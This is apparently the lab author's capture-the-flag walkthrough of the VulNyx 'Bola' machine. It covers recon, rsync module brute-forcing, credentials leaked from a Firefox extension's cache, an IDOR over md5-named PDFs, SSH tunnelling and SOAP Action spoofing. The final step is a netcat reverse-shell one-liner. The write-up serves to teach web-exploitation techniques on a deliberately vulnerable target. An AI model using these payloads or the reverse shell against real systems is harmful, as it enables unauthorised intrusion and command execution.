Bola

Introduction

Welcome to the resolution of the VulNyx Bola machine, this is another of the machines that I make for the VulNyx platform, in this case it is a machine that will be very useful to understand various techniques of web hacking, I highly recommend this machine for those who want to submit to the CBBH.

Next we are going to see the techniques that we are going to find:

• Information Disclosure - Leaking Usernames /.well-known/openid-configuration and security.txt.

• Rsync Bruteforce - Leaking email and password in Firefox Extension (cached)

• BOLA (Broken Object Level Authorization) or IDOR - PDF md5 leaking internal port and password

• WSDL (Web Services Description Language) - SOAP Action Spoofing

Recon

The first thing we have to do is to look for the IP of the swamp machine, there are several ways to do it, in this case I will do it with the fping tool that I like a lot to do the first IP recon, you can do it with nmap, arp-scan and several other tools...

nmap -sSCV -p- -T5 192.168.93.132
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-06 12:55 CET
Nmap scan report for 192.168.93.132
Host is up (0.00077s latency).
Not shown: 65532 closed tcp ports (reset)
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)
| ssh-hostkey: 
|   256 65:bb:ae:ef:71:d4:b5:c5:8f:e7:ee:dc:0b:27:46:c2 (ECDSA)
|_  256 ea:c8:da:c8:92:71:d8:8e:08:47:c0:66:e0:57:46:49 (ED25519)
80/tcp  open  http    Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Did not follow redirect to http://bola.nyx
873/tcp open  rsync   (protocol version 32)
MAC Address: 00:0C:29:4E:5B:18 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Important information about the nmap:

22 -> nothing
80 --> redirect bola.nyx
873 --> rsync may be something intersting here...

We add the bola.nyx inside the /etc/hosts with the following command line or you just can do it manually.

echo "<IP> bola.nyx" >> /etc/hosts

Vhost bola.nyx

Let's begin just watching what is inside bola.nyx.

As we can see above is the VulNyx plataform but with a new feature, it seems that they have added the functionality to log in.

We don't have any valid credentials yet, so the next step will be fuzzing the website, before using tools like ffuf, wfuzz I always use dirsearch with his basic wordlist before using a wordlist of seclists, as dirsearchgives you extensions like php, aspx, jsp, html, js by default and it is very comfortable for basic fuzzing.

dirsearch -u http://bola.nyx

And we have the following directory and files:

• /admin/admin.php -> Redirects to /login/login.php.

• download.php -> Redirects to /login/login.php - we may need credentials to access it.

• Javascript > Directory without directory listing 403 if we access it.

• /.well-known Directory with 2 files:

  • security.txt

  • openid-configuration

We can't do anything with what we found, much less the /.well-known directory.

Before we dive in the files within /.well-known , let's understand what is this directory.

What is /.well-known directory

.well-known is a standard that serves as a normalised directory within the root domain of a website, usually located in /.well-known/ on the webserver, which centralises critical metadata of a website, including configuration files and information related to its services, protocols and security mechanisms https://example.com/.well-known/security.txt.

I give to you the folllowing github resourse that would be helpful for you when you are facing a /.well-known directory, It gives you the most popular files within the mentioned directory, you can create this for a custom wordlist and use it in the future :)

GitHub - moul/awesome-well-known: A curated list of well-known URIs, resources, guides and tools (RFC 5785)GitHub

/.well-known/security.txt

This file contains contact information for security researchers to report vulnerabilities. RFC 9116.

Only has the mail we already had.

/.well-known/openid-configuration

This file defines configuration details for OpenID Connect, an identity layer over the OAuth 2.0 protocol.

Contains usernames and mails:

• d4t4s3c - d4t4s3c @nyx.com

• jackie0x17 - [e-mail]

• ct0l4 - [e-mail]

So we have listed users that may be useful for the future, when we find a password.

Rsync

Rsync is a utility for transferring and synchronizing files between a computer and a storage drive and across networked computers by comparing the modification times and sizes of files.

Basic enumeration

The first thing we need to do to check this service running on port 873, is the following command:

rsync rsync://bola.nyx/

Nothing happened

We need to understand how it works rsync. From behind when you install the service, the config file looks like this:

# Global config
uid = nobody
gid = nogroup
use chroot = no
max connections = 5
log file = /var/log/rsync.log
pid file = /var/run/rsyncd.pid
dont compress = *.gz *.tgz *.zip *.z *.rpm *.deb *.iso *.bz2 *.tbz

# Define the module that will share /opt
[public_files]
    path = /opt
    comment = VulNyx Public Files
    read only = yes
    list = yes

Where we have to look is where it says list = yes.

There is 2 options in the above variable:

• list = yes : Give the user the ability to list resources even if he/she does not know the resource name.

• list = no : Not give the user the ability to list resources without knowing the name of the resource.

In the first command the list was on no, and the second one is on yes

The machine we are facing is on "no", so if we can't list the shared modules, we need to fuzz it.

VulNyx has his own tool for fuzz rsync service:

Arsenal/rsync-brute at main · VulNyx/ArsenalGitHub

But you can make your own tool for fuzz it, like this one:

for PATH in $(cat /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt); do rsync --timeout=5 rsync://bola.nyx/$PATH &>/dev/null && "[+] Resourse found: $PATH"; done

I recommend the rsync-brute tool, as it sometimes crashes with the for tool and doesn't work properly 😂.

./rsync-brute -t bola.nyx -p 873 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

Found a shared module, extensions

rsync-brute found a resourse called extensions

Inside the extensions resourse there is 2 files:

• Password_manager_FirefoxExtension-VulNyx.pdf

• password_manager.zip

rsync -avz rsync://bola.nyx/extensions/<file_to_download>

• -a → Maintains permissions, dates, owners and folder structure.

• -v → Displays each file as it is downloaded.

• -z → Compress data while transferring to make it faster.

Let's open the .pdf and see how to install the Firefox Extension.

Go to Firefox and in the address bar we put about:debugging#/runtime/this-firefox

Select the password_manager.zip.

Once is installed, open the extension:

Seems like there is some credentials in the cache:

Now that we have found what appears to be valid credentials, we can log in to bola.nyx.

BOLA (Broken Object Level Authorization) or IDOR

When we access the VulNyx Portal Manager, we see that we have a document with a name in md5 and that the owner is Jackie0x17.

When we click on it, a PDF is downloaded which seems to talk about a WSDL Server, we will talk about this later because it has a reference for the future.

If we come across a .pdf or any file in md5, the first option we have to think about is: What if they have used the user's own name to assign the file name?

I will give some examples of what we might encounter:

• ?filename=ZmlsZV8xMjQucGRm

• download.php?filename=c81e728d9d4c2f636f067f89cc14862c (our case).

You can find everything from base64, xxd or md5.

There are even those who can first put jackie0x17 and put it in base64 and then base64 to md5, these are usually the combinations when we find Hashing/Encoding in many web apps, which are often used to mask the reference objects.

Check if the username matches the md5

Earlier in the openid-configuration we listed several users, there may be other pdfs referencing other users.

Let's try with d4t4s3c username.

d4t4s3c username PDF

There is a PDF connected to d4t4s3c username in md5 and it seems to be a tutorial on how to connect to the VulNyx WSDL server.

Reviewing the document we found 2 very interesting things:

• A password linked to an admin username.

• A new port, seems like it's internal.

When we try to connect with ssh to the machine with d4t4s3c username, the password is valid.

Port Forwading - Port 9000

Then, knowing that there is a new internal port 9000 running in the back, now that we have valid credentials, we can do a Port Forwading with ssh, so that when we connect, we create a tunnel that makes the internal port 9000 ours, and that way we can access it.

ssh -L 9000:127.0.0.1:9000 d4t4s3c@<your-ip>

Once we try access to localhost:9000 shows us the WSDL Server.

WSDL (Web Services Description Language)

Before we try to do anything with this server, we first have to know what technology we are dealing with.

• WSDL is an XML-based file exposed by web services that informs clients of the services/methods provided, including where they reside and the method calling convention.

• The WSDL should not always be accessible, developers may not want to publicly expose a website's WSDL file, or they may expose it via an unusual location.

• If we don't find it exposed, we can fuzz directories/parameters looking to reveal the location of this file.

In this case, we have already know that there is a WSDL file -->/wsdl

Before we try to exploit anything, we first need to know what does what in the XML file.

WSDL File Breakdown

Here we have the overall file:

<definitions name="VulNyxSOAP" targetNamespace="http://localhost/wsdl/VulNyxSOAP.wsdl">
<message name="LoginRequest">
<part name="username" element="username"/>
<part name="password" element="password"/>
</message>
<message name="LoginResponse">
<part name="status" type="string"/>
</message>
<message name="ExecuteCommandRequest">
<part name="cmd" element="cmd"/>
</message>
<message name="ExecuteCommandResponse">
<part name="output" element="cmd"/>
</message>
<portType name="VulNyxSOAPPortType">
<operation name="Login">
<input message="tns:LoginRequest"/>
<output message="tns:LoginResponse"/>
</operation>
<operation name="ExecuteCommand">
<input message="tns:ExecuteCommandRequest"/>
<output message="tns:ExecuteCommandResponse"/>
</operation>
</portType>
<binding name="VulNyxSOAPBinding" type="tns:VulNyxSOAPPortType">
<soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http"/>
<operation name="Login">
<soap:operation soapAction="Login"/>
<input>
<soap:body use="literal"/>
</input>
<output>
<soap:body use="literal"/>
</output>
</operation>
<operation name="ExecuteCommand">
<soap:operation soapAction="ExecuteCommand"/>
<input>
<soap:body use="literal"/>
</input>
<output>
<soap:body use="literal"/>
</output>
</operation>
</binding>
<service name="VulNyxSOAP">
<port binding="tns:VulNyxSOAPBinding" name="VulNyxSOAPPort">
<soap:address location="http://localhost:9000/wsdl/"/>
</port>
</service>
</definitions>

We can see that we have several messages, operations and porttypes etc, let's structure it to know what exactly it does.

• Definition: The root element of all WSDL files, within the definition, the name of the service is specified, all namespaces used in the WSDL document are declared and all other elements of the service are defined.

  • VulNyxSOAP name of the service.

• Messages: Defines the input and output of the operation that the web server supports. In other words, through the messages element, the messages to be exchanged are defined and presented as a complete document or as arguments that are assigned to the invocation of a method.

  • LoginRequest this has a <part> inside that shows us the following elements:

    • <part name="username" element="username"/> a field to set a user.

    • <part name="password" element="password"/> a field to set a password.

  • LoginResponse has a <part> which is the result of the login above

    • <part name="status" type="string"/>

  • ExecuteCommandRequest

    • <part name="cmd" element="cmd"/> it seems that we can execute commands if we get the item --> <cmd>

  • ExecuteCommandResponse

    • <part name="output" element="cmd"/> response of cmd.

• Operation This defines the SOAP actions available along with the encoding of each message.

• PortType Encapsulates all possible input and output messages in an operation. More specifically, it defines the web service, the available operations and the messages exchanged. Note that in WSDL version 2.0, the interface element is in charge of defining the available operations and, when it comes to messages, the (data) type element is in charge of defining them.

  • Then, this PortType with name VulNyxSOAPBinding, inside has the element operation, inside has all the input and output messages we have seen above within the operation as mentioned above.

  • Once they are defined, if we look at them we will see them like this:

<portType name="VulNyxSOAPPortType">
<operation name="Login">
<input message="tns:LoginRequest"/>
<output message="tns:LoginResponse"/>
</operation>
<operation name="ExecuteCommand">
<input message="tns:ExecuteCommandRequest"/>
<output message="tns:ExecuteCommandResponse"/>
</operation>
</portType>

• Then we put the structure to call a SOAP WSDL file which has the following structure:

<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
                  xmlns="http://localhost/wsdl">
   <soapenv:Header/>
   <soapenv:Body>
      <ExecuteCommand>
         <cmd>blabla</cmd>
      </ExecuteCommand>
   </soapenv:Body>
</soapenv:Envelope>

The fields <soapenv:Envelope and <soapenv:Body> are mandatory in a call.

If we go to localhost:9000 without entering the wsdl file, we get the structure mentioned above:

The next thing would be to put the parameters that are in the WSDL file, referencing them and taking them from the <operation>.

SOAP Action Spoofing

So now we make a request to localhost:9000 and capture it with BurpSuite and send it to Repeater.

Once in the Repeater, we change request method to POST, because to be able to send the data, it has to be done on POST.

If we send the data with the above fields, the following appears if we can execute commands:

It shows that this operation can only be performed on the internal network. And now you will say, then what do we do?????

It seems that when we put ExecuteCommand it validates if it is on an internal network to be able to execute the command.

This is where SOAP Action Spoofing occurs, if the web service determines the operation to be executed based solely on the SOAPAction header, we can call it via a header in the request and use the LoginRequest operation which has no restriction when using it, and be able to execute commands.

• Add SOAPAction: ExecutionCommand on BurpSuite Request.

• Change the operation <ExecuteCommand> to <LoginRequest> .

SOAPAction: ExecuteCommand <-- Add this on BurpSuite Request



<?xml version="1.0" encoding="utf-8"?>

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"

                  xmlns="http://localhost/wsdl">

   <soapenv:Header/>

   <soapenv:Body>

      <LoginRequest> 

         <cmd>whoami</cmd>

      </LoginRequest>

   </soapenv:Body>

</soapenv:Envelope>

We manage to execute commands even with the operation restriction, simply by calling the SOAPAction in the request header.

This way we can bypass the ‘Only allowed on internal networks’ and managed to execute commands.

busybox nc <your-ip> 4444 -e bash

We managed to obtain a shell

Farewell

Here ends the writeup of the Bola machine, I hope you enjoyed it and learned a lot.

This is my first writeup in English, be kind 😂

See you and Happy Hacking! 😄